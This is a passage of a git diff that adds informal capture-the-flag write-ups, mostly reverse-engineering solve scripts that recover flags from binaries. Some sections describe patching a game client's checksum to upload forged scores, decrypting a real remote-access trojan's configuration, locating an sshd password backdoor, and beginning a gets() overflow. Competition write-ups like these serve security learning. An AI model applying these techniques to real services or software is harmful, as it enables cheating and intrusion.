0xAD, 0x8B, 0x53, 0x29, 0x9D, 0x5C, 0x68, 0x05, +0x87, 0x03, 0xF5, 0x00, 0x8E, 0x2A, 0x15, 0x07, 0x15, 0xC8, 0xC9, 0x2D, 0xD0, 0x97, 0x8C, 0x35, +0xC1, 0xF5, 0xDE, 0x34, 0x48, 0x89, 0x46, 0x15, 0xDC, 0x37, 0x53, 0x0D, 0xF4, 0x89, 0x45, 0x2C, +0xD6, 0x03, 0x01, 0x37, 0xE4, 0xAD, 0x33, 0x27, 0x92, 0xD9, 0xB6, 0x1D, 0xE8, 0x78, 0xBF, 0x36, +0x5B, 0xC2, 0x9D, 0x21, 0xB8, 0x3D, 0xDE, 0x24, 0x27, 0x7E, 0x2D, 0x09, 0x19, 0x55, 0x01, 0x0F, +0x21, 0x0A, 0xB9, 0x34, 0xF5, 0x16, 0xB3, 0x15, 0xAE, 0xC9, 0x43, 0x1D, 0x21, 0x0E, 0xBD, 0x1D, +0xD9, 0x9C, 0xA1, 0x24, 0x43, 0x28, 0x5F, 0x13, 0x5D, 0x94, 0xEE, 0x29, 0xD0, 0x76, 0xE9, 0x08, +0x1F, 0xEE, 0x82, 0x02, 0x63, 0x8D, 0xA9, 0x06, 0x0E, 0x48, 0x0A, 0x17, 0x62, 0x48, 0x0D, 0x02, +0xD4, 0xB4, 0x69, 0x0D, 0xC0, 0x69, 0x04, 0x20, 0x52, 0x53, 0x12, 0x25, 0x7E, 0x4E, 0x2B, 0x32, +0x25, 0x8D, 0x1B, 0x3A, 0xB5, 0xCD, 0x73, 0x1D, 0x2C, 0x8A, 0x56, 0x20, 0xCE, 0x08, 0x9F, 0x3E, +0x9E, 0xF1, 0x9D, 0x31, 0xC0, 0xD4, 0x59, 0x1D, 0xDE, 0x92, 0xF2, 0x01, 0xA8, 0x76, 0xDA, 0x10, +0x18, 0x4A, 0xFD, 0x24, 0x26, 0xE0, 0x97, 0x24, 0xF5, 0x50, 0x5D, 0x03, 0x2E, 0x7E, 0xA3, 0x36, +0xD6, 0x7F, 0x8B, 0x33, 0x72, 0x12, 0x3D, 0x03, 0x2C, 0xDE, 0x0B, 0x28, 0xE7, 0x6E, 0xA7, 0x06, +0x87, 0xC1, 0x08, 0x10, 0x76, 0x9D, 0xBC, 0x06, 0x56, 0x74, 0xB0, 0x30, 0x22, 0x1C, 0xA6, 0x2F, +0xAD, 0xB0, 0x13, 0x05, 0x7D, 0x0A, 0xB9, 0x2E, 0x5C, 0x97, 0xC8, 0x3A, 0x6B, 0x0A, 0x5A, 0x1E, +0x9B, 0xFD, 0x43, 0x3A, 0xB0, 0x42, 0xF1, 0x1A, 0x7E, 0xC9, 0x0A, 0x0A, 0x84, 0x81, 0x51, 0x18, +0xF1, 0x1F, 0x3C, 0x05, 0x2B, 0x38, 0xB5, 0x0A, 0x9D, 0x09, 0x57, 0x23, 0x96, 0xBE, 0xE3, 0x00, +0xFC, 0x26, 0x5C, 0x28, 0x58, 0x1F, 0xC5, 0x1E, 0x77, 0x7F, 0x1F, 0x26, 0x68, 0x45, 0xF2, 0x30, +0xF7, 0xF3, 0x4C, 0x18, 0x2C, 0xA2, 0x32, 0x25, 0xE8, 0x7A, 0x2E, 0x0F, 0x8B, 0xF5, 0x59, 0x2A, +0x41, 0x33, 0x21, 0x25, 0x3E, 0xEB, 0x96, 0x0E, 0xE6, 0x07, 0x77, 0x24, 0x8D, 0x19, 0xF8, 0x34, +0x4A, 0x08, 0xAE, 0x3B, 0xCB, 0x0D, 0x3B, 0x1F, 0x1E, 0xCD, 0xB1, 0x3B, 0x28, 0x2B, 0x71, 0x29, +0xE7, 0x59, 0xD1, 0x2C, 0x83, 0x57, 0x3F, 0x0B, 0x23, 0xD5, 0xFD, 0x19, 0xEA, 0x3F, 0x04, 0x10, +0x04, 0x7B, 0x37, 0x12, 0x5D, 0x54, 0x58, 0x1E, 0x06, 0xF3, 0x85, 0x39, 0x50, 0x49, 0x6A, 0x34, +0x4E, 0xAD, 0xA5, 0x20, 0xE6, 0xC5, 0xEE, 0x3C, 0x41, 0xBC, 0xEF, 0x30, 0x1A, 0x39, 0xC1, 0x3D, +0xA7, 0x4C, 0x59, 0x1D, 0xEC, 0x2B, 0xE5, 0x18, 0x09, 0x65, 0x2B, 0x06, 0x09, 0x1C, 0xE9, 0x11, +0x40, 0x54, 0xD0, 0x2D, 0x3B, 0xEA, 0xBF, 0x18, 0x91, 0x8E, 0x7E, 0x3F, 0x39, 0x3E, 0x97, 0x01, +0x9C, 0xBC, 0xDE, 0x2E, 0xE4, 0x3C, 0x7E, 0x20, 0x30, 0x43, 0x04, 0x36, 0x75, 0xAC, 0xA1, 0x01, +0xE5, 0x08, 0x46, 0x12, 0xC1, 0x0F, 0xFC, 0x02, 0x5B, 0x05, 0xF9, 0x2E, 0xFB, 0xC0, 0x14, 0x2F, +0x9F, 0xA2, 0xCE, 0x10, 0xDF, 0x64, 0x5E, 0x3B, 0x3A, 0x30, 0x5C, 0x1E, 0x1F, 0x36, 0xAA, 0x01, +0x99, 0x47, 0x5B, 0x23, 0x25, 0x1B, 0xB3, 0x3E, 0xAD, 0x65, 0x3C, 0x20, 0xDB, 0xA5, 0x51, 0x0F, +0x17, 0x16, 0x20, 0x36, 0xF4, 0x1A, 0x82, 0x3D, 0x2B, 0x6F, 0x4E, 0x09, 0x30, 0x35, 0x3D, 0x22, +0x89, 0x39, 0xFA, 0x3B, 0xBC, 0x87, 0x51, 0x09, 0xE9, 0xD3, 0xEC, 0x36, 0xCA, 0x1A, 0x66, 0x1D, +0xB8, 0xA8, 0xFE, 0x00, 0xC9, 0x72, 0x9A, 0x04, 0x3F, 0x41, 0x45, 0x08, 0xAC, 0xD0, 0x55, 0x02, +0xC1, 0x02, 0x64, 0x20, 0x56, 0x2B, 0xF7, 0x0C, 0xC8, 0x37, 0x35, 0x38, 0x70, 0x1E, 0xD9, 0x1B, +0xB6, 0x3F, 0xC7, 0x0A, 0xCB, 0xB8, 0x3B, 0x1D, 0x40, 0x20, 0x11, 0x32, 0xCE, 0xEF, 0x1E, 0x36, +0x71, 0x8D, 0x8F, 0x1A, 0x6A, 0xD2, 0x9F, 0x09, 0x5F, 0x03, 0x2E, 0x12, 0xD2, 0xF5, 0xB5, 0x12, +0xFF, 0x2F, 0xF0, 0x33, 0x71, 0xAC, 0x05, 0x0E, 0x9D, 0x69, 0x77, 0x3E, 0xA6, 0xAD, 0x4D, 0x36, +0x2A, 0x77, 0x25, 0x22, 0x5D, 0x9C, 0xA2, 0x13, 0x2A, 0x55, 0x55, 0x3A, 0x17, 0x04, 0xC6, 0x2F, +0x19, 0x87, 0xAF, 0x08, 0x80, 0x52, 0xEA, 0x3F, 0x81, 0x1D, 0x58, 0x07, 0x9D, 0x27, 0xCF, 0x02, +0x86, 0xE1, 0xA4, 0x11, 0xF3, 0xA6, 0x11, 0x23, 0xD4, 0x0F, 0x47, 0x29, 0x46, 0xEF, 0xA4, 0x3E, +0xD4, 0xBD, 0xFC, 0x3B, 0xB2, 0xFA, 0xF4, 0x39, 0xA6, 0x4E, 0xAD, 0x32, 0xFD, 0xCF, 0x54, 0x39, +0x12, 0xAE, 0xEF, 0x36, 0xC8, 0x18, 0x18, 0x23, 0x95, 0x5C, 0x43, 0x2B, 0x95, 0xF6, 0xB0, 0x34, +0xE1, 0x53, 0xDF, 0x39, 0x79, 0x54, 0x7F, 0x07, 0xD1, 0x3D, 0xC1, 0x27, 0x5F, 0x54, 0x76, 0x24, +0x55, 0x7E, 0x95, 0x37, 0x44, 0xBE, 0xF7, 0x25, 0xD6, 0x8C, 0x46, 0x1F, 0xF0, 0x1A, 0x30, 0x0C, +0xA4, 0x3E, 0xEF, 0x11, 0x44, 0x80, 0x41, 0x32, 0xD3, 0xFC, 0x80, 0x12, 0x1F, 0xDD, 0x46, 0x04, +0xC8, 0x4D, 0xD0, 0x07, 0x56, 0xA0, 0xF7, 0x29, 0xB6, 0x1C, 0x59, 0x39, 0xCA, 0xF7, 0xCF, 0x06, +0xE2, 0x23, 0x55, 0x28, 0x4D, 0xAD, 0x4F, 0x3C, 0xC4, 0xED, 0xFD, 0x3C, 0xF0, 0x8D, 0xF8, 0x27, +0xA8, 0x84, 0xF0, 0x16, 0x40, 0xFA, 0x08, 0x0A, 0x6B, 0xA8, 0x82, 0x07, 0x45, 0xFF, 0xA2, 0x12, +0xC1, 0x2D, 0x5E, 0x0A, 0xB2, 0xEB, 0xF7, 0x29, 0x27, 0xA5, 0xE6, 0x1C, 0xAD, 0xFD, 0x4F, 0x08, +0x18, 0x40, 0x3F, 0x08, 0x8F, 0x68, 0xF7, 0x18, 0x16, 0xDF, 0xA8, 0x05, 0xD3, 0x82, 0x0B, 0x18, +0x91, 0xA9, 0x62, 0x2D, 0x78, 0xE8, 0x54, 0x2F, 0x57, 0xA2, 0xD0, 0x39, 0x7C, 0x77, 0xBD, 0x36, +0x76, 0xA7, 0x53, 0x0A, 0xCC, 0x13, 0x1F, 0x06, 0x5F, 0x54, 0x45, 0x11, 0x53, 0x26, 0x20, 0x2B, +0x17, 0xC9, 0xB0, 0x2B, 0x51, 0x74, 0xEF, 0x22, 0xD6, 0x7D, 0xC8, 0x21, 0x72, 0xDD, 0x79, 0x13, +0x05, 0x2B, 0xEC, 0x29, 0x2B, 0x3F, 0x68, 0x00, 0xAC, 0x14, 0x72, 0x28, 0x40, 0x53, 0x5A, 0x36, +0x58, 0x82, 0x0F, 0x2B, 0x32, 0x2C, 0xC0, 0x27, 0xE2, 0x4F, 0x3C, 0x1C, 0x0B, 0xF0, 0x90, 0x2C, +0xD4, 0xC2, 0x1C, 0x11, 0x59, 0x12, 0x8A, 0x1E, 0x96, 0x42, 0x17, 0x3D, 0xC6, 0x29, 0x33, 0x37, +0x70, 0xB2, 0x7B, 0x29, 0x10, 0x33, 0xF5, 0x38, 0x70, 0xBE, 0xA2, 0x01, 0x09, 0x1B, 0x97, 0x17, +0x73, 0xE3, 0x98, 0x1C, 0x16, 0x9D, 0xD2, 0x1D, 0x0A, 0xA9, 0xE0, 0x14, 0x18, 0xF8, 0x3F, 0x37, +0x8B, 0x93, 0x33, 0x24, 0xD9, 0x9A, 0xAF, 0x2C, 0xCC, 0x33, 0x64, 0x1A, 0xE8, 0x45, 0x73, 0x30, +0x38, 0xDF, 0x8B, 0x2A, 0x2A, 0x3C, 0xB1, 0x01, 0x86, 0x5D, 0x60, 0x11, 0x01, 0x9B, 0xBC, 0x33, +0xAC, 0x6C, 0x7D, 0x13, 0xF8, 0x10, 0x88, 0x1E, 0x62, 0x32, 0x10, 0x0C, 0x35, 0x01, 0x77, 0x1A, +0x2E, 0x07, 0x98, 0x2C, 0xF7, 0x94, 0x84, 0x2B, 0x3F, 0x38, 0xEA, 0x00, 0x93, 0xD6, 0x16, 0x0F, +0xB7, 0xA0, 0x0F, 0x2D, 0xBD, 0xDD, 0x1C, 0x06, 0xFB, 0x64, 0x50, 0x26, 0x88, 0xFE, 0x4C, 0x3E, +0xE1, 0x3B, 0xED, 0x16, 0x30, 0x74, 0xD3, 0x04, 0xA0, 0x46, 0x5A, 0x25, 0x77, 0x78, 0x8B, 0x12, +0x49, 0x2D, 0xE4, 0x0A, 0x05, 0xB6, 0x5B, 0x25, 0x27, 0x34, 0x0A, 0x3F, 0x06, 0xC6, 0xB2, 0x39, +0x0D, 0xDC, 0xA7, 0x3B, 0x0F, 0x9A, 0xD7, 0x1C, 0x26, 0xE4, 0x00, 0x12, 0x91, 0xC2, 0xE0, 0x16, +0xFA, 0x8B, 0xF3, 0x2F, 0xCA, 0x20, 0x3A, 0x3E, 0x92, 0xF9, 0x19, 0x3D, 0x9D, 0x6C, 0x69, 0x0D, +0xB2, 0x94, 0xF1, 0x3D, 0x0B, 0x64, 0x95, 0x08, 0x3C, 0xB5, 0xB7, 0x16, 0x2C, 0x7A, 0x19, 0x3D, +0xB4, 0xA2, 0xD3, 0x18, 0x90, 0x97, 0xA9, 0x2F, 0x16, 0x2E, 0x87, 0x04, 0xC4, 0x46, 0xE4, 0x3A, +0x5C, 0x21, 0x2A, 0x25, 0x95, 0xF4, 0x5D, 0x06, 0x30, 0x03, 0x06, 0x35, 0xCD, 0x51, 0xD7, 0x1B, +0x33, 0xCE, 0xB3, 0x19, 0x07, 0x99, 0xE1, 0x1B, 0xE0, 0x73, 0xDB, 0x04, 0x8C, 0x30, 0xAF, 0x02, +0x43, 0xAB, 0x62, 0x0A, 0x5E, 0x44, 0x5A, 0x3A, 0xF4, 0x02, 0x85, 0x24, 0x3A, 0x34, 0x22, 0x05, +0x20, 0x2B, 0x61, 0x1D, 0xCA, 0x71, 0xA8, 0x1E, 0x32, 0x15, 0xB5, 0x10, 0x23, 0xC4, 0xF2, 0x03, +0xB0, 0xD8, 0x11, 0x09, 0x8B, 0xF9, 0x24, 0x05, 0x4C, 0x1D, 0x60, 0x34, 0xD9, 0x43, 0x03, 0x29, +0x1D, 0x26, 0xA4, 0x09, 0xD6, 0xAA, 0x5D, 0x1E, 0xD8, 0x91, 0xCD, 0x1E, 0x22, 0xE2, 0x35, 0x09, +0xAF, 0x46, 0x25, 0x35, 0xA1, 0xD7, 0xDA, 0x1F, 0x02, 0x57, 0xEC, 0x13, 0x26, 0x22, 0xC2, 0x23, +0x36, 0x04, 0xA5, 0x21, 0xCC, 0xC4, 0x28, 0x11, 0xB9, 0xFA, 0x49, 0x21, 0xD7, 0x44, 0x80, 0x17, +0x63, 0x50, 0x4E, 0x3E, 0x3C, 0xE1, 0x70, 0x0D, 0xD3, 0x0E, 0x7A, 0x3E, 0xF3, 0xED, 0x62, 0x1E, +0x15, 0x2E, 0xF0, 0x38, 0x2B, 0x86, 0xE0, 0x02, 0x10, 0xD0, 0xE1, 0x16, 0xC1, 0x4A, 0x84, 0x31, +0x55, 0x69, 0x6C, 0x05, 0x0C, 0x63, 0x7E, 0x0A, 0x58, 0x32, 0xB9, 0x39, 0x33, 0x3F, 0xBA, 0x3C, +0xC3, 0x13, 0x69, 0x21, 0x58, 0x08, 0x38, 0x2E, 0x51, 0xD3, 0x07, 0x1B, 0xF3, 0x70, 0x93, 0x0A, +0xF3, 0xF6, 0xA4, 0x07, 0x57, 0x5B, 0x9F, 0x04, 0x27, 0x79, 0x9A, 0x37, 0xCB, 0xF1, 0xD5, 0x26, +0xB6, 0x5B, 0x96, 0x20, 0xD4, 0xB6, 0xC9, 0x37, 0x19, 0x7B, 0x64, 0x3E, 0x89, 0xEF, 0x60, 0x22, +0x47, 0x41, 0x34, 0x39, 0x49, 0xDC, 0x1E, 0x04, 0x98, 0x6A, 0x90, 0x3C, 0x33, 0x10, 0x8E, 0x21, +0x9F, 0x01, 0xAC, 0x18, 0x60, 0x72, 0x82, 0x28, 0x84, 0x97, 0xD8, 0x04, 0x58, 0x34, 0x88, 0x0B, +0xB9, 0x98, 0x05, 0x2A, 0xC9, 0xB1, 0xD7, 0x27, 0x63, 0xB5, 0x96, 0x3B, 0x5A, 0x9E, 0xDD, 0x31, +0x16, 0xEE, 0xE8, 0x0B, 0x77, 0xC5, 0x82, 0x2C, 0xD2, 0x6F, 0x9F, 0x30, 0x04, 0xBB, 0x45, 0x37, +0x6C, 0x10, 0xAD, 0x35, 0xC0, 0xC1, 0x9B, 0x19, 0x68, 0x4D, 0x29, 0x2B, 0xD9, 0x4D, 0x21, 0x2D, +0x74, 0x4D, 0xD9, 0x26, 0xFB, 0xC6, 0x3A, 0x18, 0xBB, 0x65, 0x3D, 0x21, 0xDE, 0xCE, 0xF7, 0x3F, +0xDF, 0xB6, 0xAB, 0x14, 0x83, 0xE0, 0x62, 0x09, 0x3E, 0xB5, 0x35, 0x0F, 0x4F, 0xBD, 0x5E, 0x18, +0x10, 0xD3, 0x0A, 0x23, 0xC4, 0xCB, 0x56, 0x21, 0x6A, 0x8E, 0x23, 0x1A, 0x5C, 0xEE, 0x9C, 0x3B, +0xDC, 0x1C, 0xB0, 0x0C, 0x61, 0x28, 0xC6, 0x1F, 0xCF, 0x01, 0xFC, 0x0B, 0xE4, 0x71, 0x43, 0x02, +0x78, 0x41, 0x98, 0x35, 0x67, 0xE7, 0x9B, 0x28, 0xE2, 0xBB, 0xAF, 0x25, 0x79, 0x1D, 0xAE, 0x27, +0x18, 0xD8, 0x3D, 0x3C, 0x02, 0x69, 0x57, 0x1B, 0x09, 0xE2, 0x99, 0x33, 0xEB, 0x1D, 0xCF, 0x19, +0x8A, 0x72, 0x94, 0x0B, 0x07, 0x2B, 0x11, 0x39, 0xA5, 0x36, 0xDC, 0x29, 0xDD, 0x76, 0x59, 0x24, +0x48, 0xE0, 0xCB, 0x3F, 0xB5, 0xB1, 0xF9, 0x3F, 0x8C, 0x9B, 0xFD, 0x2A, 0x6B, 0x35, 0xE4, 0x09] + +ints = [int.from_bytes(vals[pos:pos + 4], byteorder='little', signed=True) for pos in range(0, len(vals), 4)] + +def search(i, path, val): + if val <= 0: + print(i, path, val) + + if i >= 7: + return + + for j in range(26): + search(i+1, path + chr(j + ord('A')), val ^ ints[i * 26 + j]) + +search(0, '', 0) +``` + +which i then manually iterated the `i >= 7` part from 5 (which is the lowest according to `rand() % 11 + 5;`) to exhaust from bottom up to save time + +and 7 actually gave me values eyyy 4 at that too + +i was gonna wait for 5 but then i remembered they only check pairwise for the third check so we only technically need 2 unique solutions that passes it + +so i wrote a script to apply it to a base string that always pass the 3 checks +```py +apply = ['BFSJEUL', 'CHMOYTI', 'BPZBBJK', 'CRZOVEX', 'BFSJEUL'] + +test = 'ABCDE'*(80//5) +for i, v in enumerate(apply): + for j, c in enumerate(v): + test = test[:j*5+i] + c + test[j*5+i+1:] +print(test) +``` + +after waiting for a second or so the program spewed out GOOD! eyyyyy my theory worked + +flag `ptm{ThIs_cOuLd_Be_SoLvEd_WiTh_MaTrOiD_iNtErSeCtIoN_3ba32bf27a746014}` no idea what that is kekw + + +### PTC - Pwn The Circles! + +dude i got way too carried away messing around with opsu LMAO like half of the ctf was just me playing in opsu + +i decompiled their obfuscated opsu with enigma and made it recompilable and working by hand using resource files from opsu github + +had to get source code for beatmapparser too coz the decompiler didnt want to behave for the huge switch case in parseFile + +learnt how to maven debug in one line though, as long as exec plugin is added (which we can with wrapping `` before `` for some reason) - `-Dexec.args="-classpath %classpath -agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=8000 itdelatrisu.opsu.Opsu" exec:java` in the goal field would work nicely already and its one click debug from source too no remote debugging + +i actually got the encryption class and the scoredata upload class found like ages ago but i was determined to get the debugging setup running so i can easily breakpoing and manipulate data lmao + +turns out theres a checksum check in the encryption class that the website checks though but nothing can stop me once i have code access :sunglasses: + +patching that away and forcing playerName to be my own before scoredata is getting sent and also ignoring unranked boolean in rendergame made autoplay work with score uploading + +which means i can just listen to songs and edit the score to what they want afterwards lmao very nice + +flag `ptm{I_D!d_Th3_08fUSCati0n_bY_H4nD}` + +also https://www.youtube.com/watch?v=HVhWw13UEaM based ctf based song diff --git a/ctfs/comments/nahamcon22.md b/ctfs/comments/nahamcon22.md new file mode 100644 index 0000000..b5dcdb8 --- /dev/null +++ b/ctfs/comments/nahamcon22.md @@ -0,0 +1,182 @@ +### babyrev + +main problem about this chall is that the second check after name check for `bossbaby` is in a function that manually stack allocs + +so i spent like a good 30 mins reversing the alloc part without realizing thats completely unrelated to the challenge lmfao + +the real computation is in `0x1209` - which IDA seems to have trouble matching since it think `0x1208` is a valid function so i had to undefine and define again to check + +then after that its just copying from the decompilation and stitching into a solve script + +speaking of which: +```c +#include +#include + +int main() +{ + int dword_4020[] = {0x66, 0x0D9, 0x188, 0x341, 0x7C0, 0x6F9, 0x18A4, 0x95, 0x10A, + 0x1D5, 0x37C, 0x3A9, 0x7B0, 0x1969, 0x127, 0x1A3, 0x1C4, 0x2B9, + 0x754, 0x889, 0x0F50, 0x1F0, 0x254, 0x2D9, 0x558, 0x571, 0x924, + 0x1019, 0x342, 0x3AD, 0x508, 0x6E9, 0x0A30, 0x10E1, 0x1284, + 0x500, 0x5D2, 0x74D}; + + char flag[38]; + + long ptr = (long) malloc(38*4); + + for(int i = 0; i < 38; i++) { + + for(char c = 32; c < 127; c++) { + + *(int *)(4 * i + ptr) = (c << ((char)i % 7)) + i * i; //from sub_1209, after fixing offset + + if ( dword_4020[i] == *(int *)(ptr + 4 * i) ) //from sub_12AD comparison + flag[i] = c; + + } + } + + printf("%s\n", flag); + return 0; +} +``` + +### a wild ride + +another gpx problem eyy (maplectf nostalgia alr at this point kekw) + +this time we have to deal with gpx in a encrypted zip instead of fishing out from pcap though, but the zip uses zipcrypto which is really weak + +so https://github.com/kimci86/bkcrack to the rescue using xml header as plaintext for the attack + +and after 5 secs we got the password `crackme` lmao wouldve got it using hashcat anyway + +then its just merging the gpx and using the same gpx visualizing site i used in maplectf (https://www.gpsvisualizer.com/) to get the flag lmao (had to squint at the handwriting tho lmfao) + +merge script: +```py +import os + +all = ['\n', +'\n', +#' \n' +] + +for f in os.listdir('.'): + if '.gpx' in f: + with open(f, 'r') as gpx: + all += gpx.readlines()[2:-1] + +all += [ +#' \n', +'\n'] + +with open('merged.gpx', 'w') as merge: + merge.writelines(all) +``` + +### usb drive + +shortcut .lnk file, hidden tinyurl.com url + +for some reason its inyurl.com though but its trivial to guess its tinyurl + +leads us to a google drive, looks like base64 encoded but nope + +then [@Robert](https://maplebacon.org/authors/Nneonneo/) came in and said its base32 coz of the `===` and full uppercase and dang it actually is base32 lmao + +turns out to be a PE dll that prints the flag, but i dont wanna risk running it so i just rewrote the program with decompiled code: +```c +#include +#include + +int main() +{ + char Text[50]; + + char byte_100020C0[] = { 0xD3, 0, 0, 0, 0xE9, 0, 0, 0, 0xF0, 0, 0, 0, 0x0B, + 0, 0, 0, 0x98, 0, 0, 0, 0x56, 0, 0, 0, 0x8A, 0, 0, 0, + 0x16, 0, 0, 0, 0xFE, 0, 0, 0, 0x6E, 0, 0, 0, 0xBB, + 0, 0, 0, 0x22, 0, 0, 0, 0x0C, 0, 0, 0, 0x20, 0, 0, 0, + 0x94, 0, 0, 0, 0x38, 0, 0, 0, 0x35, 0, 0, 0, 0x10, 0, 0, 0, + 0xF7, 0, 0, 0, 0x5D, 0, 0, 0, 0xA8, 0, 0, 0, 0xD9, + 0, 0, 0, 0x91, 0, 0, 0, 0x6D, 0, 0, 0, 0x28, 0, 0, 0, + 8, 0, 0, 0, 0x69, 0, 0, 0, 0x9B, 0, 0, 0, 0xAB, 0, 0, 0, + 0x16, 0, 0, 0, 0x64, 0, 0, 0, 0xA4, 0, 0, 0, 0x4B, 0, 0, 0, + 0x6E, 0, 0, 0, 0x0C, 0, 0, 0, 0xA8, 0, 0, 0, 0xD2, + 0, 0, 0, 0xFC, 0, 0, 0, 0xA6, 0, 0, 0, 0xBD, 0, 0, 0, + 0x84, 0, 0, 0, 0xC6, 0, 0, 0, 0xBD, 0, 0, 0, 0xBF, + 0, 0, 0, 0xC7, 0, 0, 0, 5, 0, 0, 0, 0xE6, 0, 0, 0, + 0xC0, 0, 0, 0, 0x9C, 0, 0, 0, 0x75, 0, 0, 0, 7, 0, 0, 0, + 0xC6, 0, 0, 0, 0x3A, 0, 0, 0, 0x33, 0, 0, 0, 0x7C, 0, 0, 0, + 0xD5, 0, 0, 0, 0xE2, 0, 0, 0, 0xAA, 0, 0, 0, 0xDC, + 0, 0, 0, 0xD8, 0, 0, 0, 0xB3, 0, 0, 0, 0xCB, 0, 0, 0, + 0x92, 0, 0, 0, 0xDE, 0, 0, 0, 8, 0, 0, 0, 0x0B, 0, 0, 0, + 0x4B, 0, 0, 0, 0xE6, 0, 0, 0, 0xA1, 0, 0, 0, 0x64, + 0, 0, 0, 0xDF, 0, 0, 0, 0xF5, 0, 0, 0}; + + __int128 v3[10]; + __int128 v6[10]; + + int v3p[] = {51, 38}; + int v6p[] = {87, 91}; + + v3[0] = *(__int128 *)&byte_100020C0[160]; + v3[1] = *(__int128 *)&byte_100020C0[80]; + v3[2] = *(__int128 *)&byte_100020C0[256]; + v3[3] = *(__int128 *)&byte_100020C0[240]; + v3[4] = *(__int128 *)&byte_100020C0[272]; + v3[5] = *(__int128 *)&byte_100020C0[192]; + v3[6] = *(__int128 *)&byte_100020C0[64]; + v3[7] = *(__int128 *)&byte_100020C0[16]; + v3[8] = *(__int128 *)&byte_100020C0[96]; + v3[9] = *(__int128 *)v3p; + v6[0] = *(__int128 *)&byte_100020C0[224]; + v6[1] = *(__int128 *)&byte_100020C0[0]; + v6[2] = *(__int128 *)&byte_100020C0[208]; + v6[3] = *(__int128 *)&byte_100020C0[144]; + v6[4] = *(__int128 *)&byte_100020C0[176]; + v6[5] = *(__int128 *)&byte_100020C0[112]; + v6[6] = *(__int128 *)&byte_100020C0[48]; + v6[7] = *(__int128 *)&byte_100020C0[32]; + v6[8] = *(__int128 *)&byte_100020C0[128]; + v6[9] = *(__int128 *)v6p; + + int v1 = 0; + do + { + Text[v1] = *((char *)v3 + 4 * v1) ^ *((char *)v6 + 4 * v1); + Text[v1 + 1] = *((char *)v3 + 4 * v1 + 4) ^ *((char *)v6 + 4 * v1 + 4); + v1 += 2; + } + while ( v1 < 0x26 ); + printf("%s\n", Text); +} +``` + +### free nitro + +eyy a open source:tm: C# exe love it (edit: turns out it actually is open source LMFAO https://github.com/qwqdanchun/DcRat) + +not much obfuscation, `cry` is the main class we wanna look at - other stuff just does the unpacking and loading + +from there we can see that they use xml-like format to store hex encoded strings as the payload and plain numbers for the password - libarr is decrypted by xoring with pass1, and filearr is decrypted by xoring pass2 + +yields us a gzipped payload, which we can unzip and find another C# exe which is the RAT itself + +funnily enough the salt used for their encryption is `DcRatByqwqdanchun`, which we can search online and find that its actually an active malware and has tools for decrypting their settings data https://github.com/jeFF0Falltrades/Tutorials/blob/master/asyncrat_config_parser (even tho its trivial to copy code from their encryption class to decrypt it ourselves but eyy saves us time) + +run that and we get the flag "hidden" in the settings lol + +also "REMOVED FOR SAFETY" thanks organizers + +### brain melt + +open in IDA, we see `_MEIPASS2` - searching up shows that this is a pyinstaller + +find tool for unpacking pyinstaller (https://github.com/extremecoders-re/pyinstxtractor), and we get a ton of pyc files + +decompyle3 and uncompyle6 doesnt work since its python 3.9, but pycdc worked (partially - reraise is not implemented, so i spent 30 mins reversing it before realizing the flag was already visible in the portion that was decompiled lmao but hey i did make the whole file decompiled at the end) + +run `deobfuscate` after extracting both `deobfuscate` and `decrypt` out from the py file and we obtain the flag \ No newline at end of file diff --git a/ctfs/comments/ritsec22.md b/ctfs/comments/ritsec22.md new file mode 100644 index 0000000..14c0eb2 --- /dev/null +++ b/ctfs/comments/ritsec22.md @@ -0,0 +1,27 @@ +### ssh backdoor + +as name suggests, its a backdoor planted into the sshd binary itself + +i first tried to see how close it might be with any ol sshd, but the one i referenced seemed very different from the one they modified + +so i grabbed the version string from the modified sshd, and it turns out its `OpenSSH 8.4p1, Ubuntu-5ubuntu2` + +so i just went on https://launchpad.net/ubuntu/+source/openssh/1:8.4p1-5ubuntu2 to grab the deb and compared and it actually looks quite the same on IDA's top bar + +(i wonder what the 5ubuntu2 version changed that much from coz the one i referenced looks to e another implementation of OpenSSH 8.4p1 too albeit not ubuntu's) + +since its pretty much identical i thought why not run bindiff on it that i tried to use to compare mai versions with anyway + +and ey it shows up as 99.5% match with only 10 functions not matching as expected + +so i clicked open the largest function that doesnt match and ey it looks like a backdoor indeed + +i xref'd back to the parent function, extracted the part that changed and looked at how it works + +[@kevin](https://maplebacon.org/authors/Kevin/) was looking at sources for openssh so i went to check out `auth-passwd.c` too + +and eventually i figured out it looks like its just comparing whatever the function generated to our provided password and if it matches it returns 1 no matter what + +so i proposed why not try to breakpoint right at the comparison and get the string `VEGA INTERNATIONAL NIGHT SCHOOL` we are supposed to enter as password + +and after a while [@kevin](https://maplebacon.org/authors/Kevin/) got the flag through gdb attaching and modifying his own system sshd ey `RS{psych1c_ch45m5_4w41t_y0u}` \ No newline at end of file diff --git a/ctfs/comments/sapling22.md b/ctfs/comments/sapling22.md new file mode 100644 index 0000000..fdbca46 --- /dev/null +++ b/ctfs/comments/sapling22.md @@ -0,0 +1,1292 @@ +### plain + + plain was easy, i literally just had to open it in IDA, do a shift-f12 for show all strings, and it was right there `maple{binaries_are_not_secret}` + +### keys + + keys was also quite easy - there was a trick point where IDA failed to understand the function since it was `call sub_5583F17B9188+1` instead for some reason and the function failed to disassemble correctly + + i just had to undefine the function, select loc_5583F17B9189 and press `c` for code, then go to edit - make function and voila + + the function is a simple XOR of `byte_5583F17BA040` as the "encrypted" data, and the cycling `byte_5583F17BA020` that basically does a modulo using i & 3 + + thus i just wrote the following code: +```py +bytes = [0x27, 0x0E2, 0x74, 0x0B9, 0x2F, 0x0F8, 0x70, 0x0BD, 0x79, 0x0DC, 0x4F, 0x90, 0x13, +0x0DC, 0x4D, 0x86, 0x15, 0x0CB, 0x30, 0x87, 0x0E, 0x0C0, 0x34, 0x91, 0x79, 0x0E7, +0x5B, 0x0E4, 0x24, 0x0DC, 0x50, 0x9D, 0x0F, 0x0DC, 0x46, 0x0E4, 0x24, 0x0B7, 0x76, +0x0AC, 0x37, 0, 0, 0, 0, 0, 0, 0] + +md = [0x4A, 0x83, 4, 0x0D5] + +print('test') +for i in range(len(bytes)): + print(chr(bytes[i] ^ md[i & 3])) +``` + + and voila the flag is printed `maple{th3_KEY_IS_H4RDC0D3d_1n_THE_B1n4ry}` + +### wetuwn addwess + + this is a box standard `gets` buffer overflow exploit, in fact it looks exactly the same as this pretty much https://stackoverflow.com/questions/44469372/exploiting-buffer-overflow-using-gets-in-a-simple-c-program + + just need to look into IDA and see how the stack is allocated, find the return offset, and override it with the `win()` function ptr using `python -c 